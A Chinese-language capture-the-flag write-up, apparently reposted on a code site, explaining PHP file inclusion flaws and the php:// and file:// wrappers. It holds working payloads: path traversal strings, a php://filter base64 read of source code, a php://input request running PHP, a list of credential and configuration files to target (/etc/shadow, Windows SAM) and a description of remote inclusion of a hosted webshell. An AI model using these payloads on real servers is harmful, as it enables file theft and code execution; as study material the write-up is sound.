include(文件包含漏洞,php偽協議)


一道CTF題:

點擊tips:

查看元素,也並沒有有用的信息,聯想到題目,include
想起了文件包含漏洞。
構造payload
?file=/../../../../../../flag.php

沒有返回東西。看完wq學到了一個新姿勢:
php偽代碼

https://segmentfault.com/a/1190000018991087
https://www.freebuf.com/column/148886.html

構造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
使用 "php://filter"偽協議" 來進行包含。當它與包含函數結合時,php://filter流會被當作php文件執行。所以我們一般對其進行編碼,阻止其不執行。從而導致任意文件讀取。

構造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

這里需要注意的是使用php://filter偽協議進行文件包含時,需要加上read=convert.base64-encode來對文件內容進行編碼

發送請求得到base64編碼后的flag.php文件源碼:
得到base64加密后的flag.php文件,丟去解密得到flag。

文件包含漏洞

文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼。
`PHP中文件包含函數有以下四種:

require()

require_once()

include()

include_once()

`

示例代碼

如果服務器配置不當,可以目錄跨越等等,傳個../../../../../etc/passwd等等,可以查閱很多意外的文件。
`windows常見文件:

c:\boot.ini // 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

linux常見文件:

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

文件包含分本地文件包含和遠程文件包含,本地文件包含就是利用服務器的配置不當訪問服務器本地的文件,而遠程文件包含是在

allow_url_fopen = On(是否允許打開遠程文件)

allow_url_include = On(是否允許include/require遠程文件)

`
以上兩個字段為On時,此時允許服務器包含遠程的服務器的文件,這時可以在遠程服務器配置一個馬.txt之類的,里面寫上php代碼,讓靶機去包含它。

【file://協議】

PHP.ini:

file:// 協議在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用於訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響

使用方法:

file:// [文件的絕對路徑和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

【php://協議】

條件:

不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。

參考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 讀取源代碼並進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。

PHP.ini:

php://filter在雙off的情況下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

測試現象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php


測試現象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM